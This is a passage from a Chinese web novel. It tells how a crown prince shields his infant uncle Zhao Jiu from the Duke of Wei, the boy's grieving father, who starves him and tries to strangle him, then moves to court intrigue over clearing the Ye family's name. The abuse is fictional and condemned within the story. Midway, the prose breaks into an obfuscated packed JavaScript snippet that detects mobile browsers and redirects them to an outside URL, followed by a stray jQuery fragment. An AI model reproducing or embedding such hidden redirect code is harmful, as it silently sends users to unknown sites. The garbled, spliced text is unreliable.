卫国公厌弃幼子,是人尽皆知的事情。


    当年卫国公夫人病逝,还是太子的高忱在郑女官的陪伴下,亲自登门吊唁。


    灵堂哭声一片。


    高忱到时,正好听见卫国公发话,要几个儿子为母亲服斩衰之丧。


    按照儒家礼仪,父在,子为母服齐衰一年,父卒,才可为母服齐衰三年。且只是齐衰,而非最重的斩衰。


    丈夫爱重妻子,倒也无可厚非。


    但斩衰之丧,首要便是忌食三日,赵咎才三岁,小身板怎么禁受得了?


    不光赵咨兄弟几个,就是赵氏族老还有上门吊唁的宾客,也都纷纷劝阻。


    孝心要紧,可孩子的身体也要紧啊。


    然而,他们嘴皮子磨破,也不见卫国公有松口的迹象。


    甚至大家的求情激怒了卫国公。


    他一把将跪在兄长身后的幼子抓过来,厉声质问:“你母亲因你而死,难道你连给她服斩衰都不肯?!”


    “父亲!”


    “父亲!”


    “赵堰!”


    周围人惊呼道。


    高忱吓了一跳,忙冲进灵堂,大声道:“卫国公,你给孤住手!”


    乌泱泱一片人,朝年仅五岁的高忱行礼。


    “拜见太子殿下。”


    “殿下。”卫国公面色阴沉,不仅没给高忱行礼,反而还无视了他的命令,“儿子给母亲服斩衰,实乃天经地义。”


    他放话下去,这三日内,不许任何人给赵咎吃食,哪怕是一口水!


    高忱又惊又怒。


    别说孩子了,就是成年人,三日不饮不食都要出事。


    卫国公是想要赵咎的命吗?


    “孤看谁敢!”高忱气得脸蛋圆鼓鼓,怒视卫国公。


    他原本还对外祖存着几分敬畏,但如今小舅有难,哪里还管得了其他?想也不想,就跟个小牛犊似的一头撞上去。


    把赵咎抢回来。


    像是和卫国公作对,高忱还当着他的面,从怀里掏出一块奶饼,塞到赵咎嘴里,霸气十足道:“阿劫,吃!不用怕!”


    赵咎的嘴里塞了一整块奶饼,差点没给噎死。


    郑女官慌忙拍背,奶饼掉在地上,赵咎哇一声哭了起来,嘴里含含糊糊地喊着“湛奴”、“阿娘”。


    他还小,一时无法接受母亲去世的事实。


    原本哭累了呆呆地跪在那,结果被卫国公这么一抓,直接吓得小脸煞白,跟离魂了似的。


    这会儿哭出来,反倒是好事。


    郑女官半蹲下身,怜惜地抚着赵咎的后背,心中暗叹,真是造孽啊。


    高忱把赵咎挡在身后,仰着脸瞪卫国公,“卫国公,你眼里还有没有孤?”


    卫国公没想到外孙倒打一耙,和平时的恭谨有礼截然不同,他深吸一口气,冷声道:“殿下,为人子,自当遵循孝道。”


    高忱严肃脸:“遵循孝道不错,可阿父说过,礼法之外,亦有人情,卫国公岂能如此苛待稚子?”


    男孩一字一句,吐字清晰。


    周遭的官员面露欣赏之色,不禁暗暗点头。


    陛下子嗣不丰,却有一个极好的太子。


    俗话说三岁看老,高忱年纪虽小,但在许多人眼里,已经有了明君的风范。


    他不许卫国公欺负赵咎,尤其是停灵那几日,可谓严防死守,两人不仅同吃同住,还一同给卫国公夫人守灵。


    高忱不敢疏忽,他疏忽过一次,就那一次,赵咎差点被卫国公掐死!


    那是出殡的前一日。


    赵咎半夜醒来,想阿娘了,看见高忱躺在边上呼呼大睡,他瘪了瘪嘴,给大外甥盖好被子,还不忘用小手拍一拍他胸口,小声道:“湛奴,你乖乖睡觉。”


    他没惊醒人,只想看一看阿娘再回来睡觉。


    结果在灵堂撞上了独自一人陪伴妻子的卫国公。


    等高忱睡着睡着发现身边没人,一个惊醒,蹬蹬蹬跑到灵堂时,就看见卫国公掐着赵咎的脖子,他双目猩红,似恶鬼附身,喃喃道:“当时就不该生下你,如果不是因为你,你母亲不会死……是你,是你害**她!”


    说真的,高忱当时差点吓尿了。


    但还是没有丝毫犹豫就冲上去,“你放开阿劫!放开我小舅!我跟你拼了啊啊啊!”


    边说边哭,眼泪控制不住稀里哗啦往下流。


    内侍们、下人们,还有被惊动的赵咨夫妻等人,全都过来了。


    他们愣愣地看着眼前这一幕。


    高忱哭,赵咎也哭。


    他摔在地上,高忱还用自己身体去接了一下,然后压得惨叫一声。


    舅甥俩抱在一起,哭得好不可怜。


    明惠帝想起来就生气,替赵咎打抱不平。


    “赵哲的事,大不了就罢黜官身,或者贬到偏僻的县,你放心,我不会让他死的。”


    赵咎头疼,“我怎么跟你说不清呢?”


    这件事,最主要的不是赵哲。


    是叶家!


    背后的人以此为由,如果叶家不能洗刷冤屈,那么赵哲,甚至整个赵家,都会背上谋反的罪名。


    “你把折子带来了,你明日带上朝,我用这次的功劳换洗刷叶家冤屈的机会。”


    他语气十分强硬。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041816|173897||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    br>明惠帝抿了抿嘴,神情不自觉流露一丝冷酷,“我要是不答应呢?”


    赵咎慢吞吞道,“你不答应我就死给你看。”


    明惠帝:“……”


    这话怎么这么耳熟?!


    舅甥俩大眼瞪大眼。


    最终还是明惠帝妥协,他心疼地看着赵咎肩膀的伤口,把白布重新裹上去,叹了口气道:“时辰还早,阿娘肯定还没睡,我让人把阿娘请来,你自己想办法说服她。”


    赵咎眼底掠过一抹笑意,说好。


    明惠帝心里不高兴,又强调一遍,“你自己想办法,我是不会帮你的。”


    赵咎:“……知道了。”


    明惠帝吩咐容已,悄悄去一趟长乐宫,把赵太后请过来。


    这个点,赵太后确实没睡。


    娘家出了这种事,她烦都来不及,哪里还能睡着?


    容已来请她,她只当儿子想跟她说说心里话,压根没想到自己的宝贝弟弟会突然冒出来。


    “啊——”赵太后看着密室里的人,吓得花容失色,好半天才反应过来,骂道,“要死啊你!偷偷跑回来就算了,还举着个蜡烛吓我!”


    赵咎挨了一下,明惠帝差点急跳脚。


    “阿娘,你打阿劫干什么!他……”


    “就是,我好不容易回来。”赵咎截断了明惠帝的话,面色除了有些苍白,其他看不出来任何异样。


    赵太后那一下打在他肩膀,估计伤口裂开了。


    长话短说,他没准备留在宫里过夜。


    赵咎一脸严肃道:“阿姐,你知道二兄为人的,他不可能包藏祸心,更不可能谋反,他救下叶小娘子,只是顾念曾经的师生情。”


    赵太后抚着心口,没好气瞪他一眼,“你就为了这点小事儿,还特意跑回来?”


    赵咎噎了一下。


    明惠帝也不作声。


    说不帮就不帮,他是不会心软的!


    赵太后从上到下打量了一遍弟弟,发现没有缺胳膊少腿,才在心里送了口气,埋怨道:“你擅离职守,可是重罪,也不怕被人发现告发!”


    “你放心,二郎的事,我自有主张,不会让他背上谋反罪名的。”


    赵咎脱口而出:“自有主张的意思,是派人杀了叶小娘子?阿姐,这样如何堵得住悠悠众口?二兄也不会心安的!”


    赵太后盯着他,慢慢收敛了脸上的神色,变得有些冷漠。


    “赵咎,你千里迢迢跑回来,我还没治你的罪,你倒开始得寸进尺,对朝政指手画脚。”


    “怎么,你是想替叶家**,打你姐夫的脸?”